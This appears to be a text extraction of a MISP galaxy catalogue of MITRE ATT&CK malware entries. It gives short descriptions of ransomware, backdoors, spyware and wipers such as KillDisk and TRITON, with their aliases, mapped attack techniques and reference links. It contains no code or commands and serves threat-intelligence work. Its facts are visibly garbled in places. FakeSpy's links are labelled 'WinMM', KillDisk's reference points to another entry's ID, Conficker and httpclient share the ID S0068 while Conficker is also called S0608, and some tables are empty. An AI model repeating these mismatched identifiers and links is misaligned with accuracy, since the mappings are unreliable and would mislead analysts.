• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-
Table 6733. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0650">https://attack.mitre.org/software/S0650</a></td>
</tr>
<tr>
<td><a href="https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot">https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/qakbot-technical-analysis/103931/">https://securelist.com/qakbot-technical-analysis/103931/</a></td>
</tr>
<tr>
<td><a href="https://success.trendmicro.com/solution/000283381">https://success.trendmicro.com/solution/000283381</a></td>
</tr>
</tbody>
</table>

**BitPaymer - S0570**

[BitPaymer](https://attack.mitre.org/software/S0570) is a ransomware variant first observed in August 2017 targeting hospitals in the U.K. [BitPaymer](https://attack.mitre.org/software/S0570) uses a unique encryption key, ransom note, and contact information for each operation. [BitPaymer](https://attack.mitre.org/software/S0570) has several indicators suggesting overlap with the [Dridex](https://attack.mitre.org/software/S0384) malware and is often delivered via [Dridex](https://attack.mitre.org/software/S0384).(Citation: Crowdstrike Indrik November 2018)

The tag is: `misp-galaxy:mitre-malware="BitPaymer - S0570"`

**BitPaymer - S0570 is also known as:**

- BitPaymer
- wp_encrypt
- FriedEx

**View relationships graph**

**BitPaymer - S0570 has relationships with:**

- uses: `misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135"` with estimative-language:likelihood-probability="almost-certain"
Table 6734. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0570">https://attack.mitre.org/software/S0570</a></td>
</tr>
</tbody>
</table>

**eSurv - S0507**

[eSurv](https://attack.mitre.org/software/S0507) is mobile surveillanceware designed for the lawful intercept market that was developed over the course of many years. (Citation: Lookout eSurv)

The tag is: `misp-galaxy:mitre-malware="eSurv - S0507"`

eSurv - S0507 is also known as:
• eSurv

View relationships graph

eSurv - S0507 has relationships with:

• uses misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1521.002" with estimative-language:likelihood-probability="almost-certain"
• uses misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1646" with estimative-language:likelihood-probability="almost-certain"
• uses misp-galaxy:mitre-attack-pattern="Audio Capture - T1429" with estimative-language:likelihood-probability="almost-certain"
• uses misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
• uses misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
• uses misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"
• uses misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
• uses misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
• uses misp-galaxy:mitre-attack-pattern="Geofencing - T1627.001" with estimative-language:likelihood-probability="almost-certain"

Table 6735. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0507">https://attack.mitre.org/software/S0507</a></td>
</tr>
<tr>
<td><a href="https://blog.lookout.com/esurv-research">https://blog.lookout.com/esurv-research</a></td>
</tr>
</tbody>
</table>

**SslMM - S0058**

[SslMM](https://attack.mitre.org/software/S0058) is a full-featured backdoor used by [Naikon](https://attack.mitre.org/groups/G0019) that has multiple variants. (Citation: Baumgartner Naikon 2015)

The tag is: *misp-galaxy:mitre-malware="SslMM - S0058"*

SslMM - S0058 is also known as:

• SslMM

View relationships graph

SslMM - S0058 has relationships with:
• similar: misp-galaxy:malpedia="SslMM" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 6736. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0058">https://attack.mitre.org/software/S0058</a></td>
</tr>
</tbody>
</table>

FakeSpy - S0509

[FakeSpy](https://attack.mitre.org/software/S0509) is Android spyware that has been operated by the Chinese threat actor behind the Roaming Mantis campaigns.(Citation: Cybereason FakeSpy)

The tag is: *misp-galaxy:mitre-malware="FakeSpy - S0509"*

FakeSpy - S0509 is also known as:

- FakeSpy

View relationships graph

FakeSpy - S0509 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1633.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1628.001" with estimative-language:likelihood-probability="almost-certain"

Table 6737. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0059">WinMM</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/fakespy-masquerades-as-postal-service-apps-around-the-world">WinMM</a></td>
</tr>
</tbody>
</table>

**WinMM - S0059**

[WinMM](https://attack.mitre.org/software/S0059) is a full-featured, simple backdoor used by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)

The tag is: **misp-galaxy:mitre-malware="WinMM - S0059"**

WinMM - S0059 is also known as:

- WinMM
View relationships graph

WinMM - S0059 has relationships with:

- similar: misp-galaxy:malpedia="WinMM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 6738. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0059">https://attack.mitre.org/software/S0059</a></td>
</tr>
</tbody>
</table>

Clambling - S0660

[Clambling](https://attack.mitre.org/software/S0660) is a modular backdoor written in C++ that has been used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2017.(Citation: Trend Micro DRBControl February 2020)

The tag is: misp-galaxy:mitre-malware="Clambling - S0660"

Clambling - S0660 is also known as:

- Clambling

View relationships graph

Clambling - S0660 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 6739. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0660">https://attack.mitre.org/software/S0660</a></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf">https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf</a></td>
</tr>
</tbody>
</table>

**WarzoneRAT - S0670**

[WarzoneRAT](https://attack.mitre.org/software/S0670) is a malware-as-a-service remote access tool (RAT) written in C++ that has been publicly available for purchase since at least late 2018.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Warzone UAC Bypass November 2020)

The tag is: misp-galaxy:mitre-malware="WarzoneRAT - S0670"

WarzoneRAT - S0670 is also known as:

- WarzoneRAT
- Warzone
WarzoneRAT - S0670 has relationships with:

- Uses: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- Uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- Uses: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"
- Uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- Uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- Uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- Uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- Uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- Uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- Uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Table 6740. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0670">https://attack.mitre.org/software/S0670</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/">https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/</a></td>
</tr>
</tbody>
</table>

**KillDisk - S0607**

[KillDisk](https://attack.mitre.org/software/S0607) is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of [BlackEnergy](https://attack.mitre.org/software/S0089) malware during cyber attacks against Ukraine in 2015. [KillDisk](https://attack.mitre.org/software/S0607) has since evolved into standalone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://attack.mitre.org/software/S0607) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)

The tag is: `misp-galaxy:mitre-malware="KillDisk - S0607"`
KillDisk - S0607 is also known as:

- KillDisk
- Win32/KillDisk.NBI
- Win32/KillDisk.NBH
- Win32/KillDisk.NBD
- Win32/KillDisk.NBC
- Win32/KillDisk.NBB

View relationships graph

KillDisk - S0607 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 6741. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0067">https://attack.mitre.org/software/S0067</a></td>
</tr>
</tbody>
</table>

FakeM - S0076

[FakeM](https://attack.mitre.org/software/S0076) is a shellcode-based Windows backdoor that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)

The tag is: misp-galaxy:mitre-malware="FakeM - S0076"

FakeM - S0076 is also known as:

• FakeM

View relationships graph

FakeM - S0076 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"

Table 6742. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/">http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/</a></td>
</tr>
</tbody>
</table>
**pngdowner - S0067**

[pngdowner](https://attack.mitre.org/software/S0067) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple "download-and-execute" utility. (Citation: CrowdStrike Putter Panda)

The tag is: `misp-galaxy:mitre-malware="pngdowner - S0067"`

pngdowner - S0067 is also known as:

- pngdowner

View relationships graph

pngdowner - S0067 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:malpedia="pngdowner"` with estimative-language:likelihood-probability="likely"

*Table 6743. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0067">https://attack.mitre.org/software/S0067</a></td>
</tr>
</tbody>
</table>

**Conficker - S0068**

[Conficker](https://attack.mitre.org/software/S0068) is a computer worm first detected in October 2008 that targeted Microsoft Windows using the MS08-067 Windows vulnerability to spread. (Citation: SANS Conficker) In 2016, a variant of [Conficker](https://attack.mitre.org/software/S0068) made its way on computers and removable disk drives belonging to a nuclear power plant. (Citation: Conficker Nuclear Power Plant)

The tag is: `misp-galaxy:mitre-malware="Conficker - S0068"`

Conficker - S0068 is also known as:

- Conficker
• Kido
• Downadup

View relationships graph

Conficker - S0608 has relationships with:


• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 6744. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0608">https://attack.mitre.org/software/S0608</a></td>
</tr>
</tbody>
</table>

3716
LitePower - S0680

LitePower ([https://attack.mitre.org/software/S0680](https://attack.mitre.org/software/S0680)) is a downloader and second stage malware that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021. (Citation: Kaspersky WIRTE November 2021)

The tag is: `misp-galaxy:mitre-malware="LitePower - S0680"`

LitePower - S0680 is also known as:

- LitePower

View relationships graph

LitePower - S0680 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Query Registry - T1012"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 6745. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0680">https://attack.mitre.org/software/S0680</a></td>
</tr>
</tbody>
</table>
ZLib - S0086

[ZLib](https://attack.mitre.org/software/S0086) is a full-featured backdoor that was used as a second-stage implant during [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016) since at least 2014. [ZLib](https://attack.mitre.org/software/S0086) is malware and should not be confused with the legitimate compression library from which its name is derived.(Citation: Cylance Dust Storm)

The tag is: *misp-galaxy:mitre-malware="ZLib - S0086"*

ZLib - S0086 is also known as:

- ZLib

View relationships graph

ZLib - S0086 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

*Table 6746. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0086">https://attack.mitre.org/software/S0086</a></td>
</tr>
</tbody>
</table>
**httpclient - S0068**

httpclient - S0068 is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)

The tag is: *misp-galaxy:mitre-malware="httpclient - S0068"

httpclient - S0068 is also known as:

- httpclient

View relationships graph

httpclient - S0068 has relationships with:


**BLACKCOFFEE - S0069**

BLACKCOFFEE is malware that has been used by several Chinese groups since at least 2013. (Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)

The tag is: *misp-galaxy:mitre-malware="BLACKCOFFEE - S0069"

BLACKCOFFEE - S0069 is also known as:

- BLACKCOFFEE

View relationships graph

BLACKCOFFEE - S0069 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 6748. Table References

Links

[https://attack.mitre.org/software/S0069](https://attack.mitre.org/software/S0069)


[https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf](https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf)

**TRITON - S0609**

This entry was deprecated as it was inadvertently added to Enterprise; a similar Software entry was created for ATT&CK for ICS.

[TRITON](https://attack.mitre.org/software/S0609) is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. [TRITON](https://attack.mitre.org/software/S0609) was deployed against at least one target in the Middle East. (Citation: FireEye TRITON 2017)(Citation: FireEye TRITON 2018)(Citation: Dragos TRISIS)(Citation: CISA HatMan)(Citation: Fireeye TEMP.Veles 2018)

The tag is: *misp-galaxy:mitre-malware="TRITON - S0609"*

TRITON - S0609 is also known as:

• TRITON

• HatMan

• TRISIS

Table 6749. Table References

Links
CallMe - S0077

[CallMe](https://attack.mitre.org/software/S0077) is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)

The tag is: `misp-galaxy:mitre-malware="CallMe - S0077"`

CallMe - S0077 is also known as:

- CallMe

View relationships graph

CallMe - S0077 has relationships with:


- uses: `misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6750. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/">http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0077">https://attack.mitre.org/software/S0077</a></td>
</tr>
</tbody>
</table>

Psylo - S0078

[Psylo](https://attack.mitre.org/software/S0078) is a shellcode-based Trojan that has been used by
[Scarlet Mimic](https://attack.mitre.org/groups/G0029). It has similar characteristics as [FakeM](https://attack.mitre.org/software/S0076). (Citation: Scarlet Mimic Jan 2016)

The tag is: *misp-galaxy:mitre-malware="Psylo - S0078"

Psylo - S0078 is also known as:

- Psylo

View relationships graph

Psylo - S0078 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"* with estimative-language:likelihood-probability="almost-certain"

_Table 6751. Table References_

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0078">https://attack.mitre.org/software/S0078</a></td>
</tr>
</tbody>
</table>

**MobileOrder - S0079**

[MobileOrder](https://attack.mitre.org/software/S0079) is a Trojan intended to compromise Android mobile devices. It has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)

The tag is: *misp-galaxy:mitre-malware="MobileOrder - S0079"

View relationships graph

MobileOrder - S0079 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"* with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
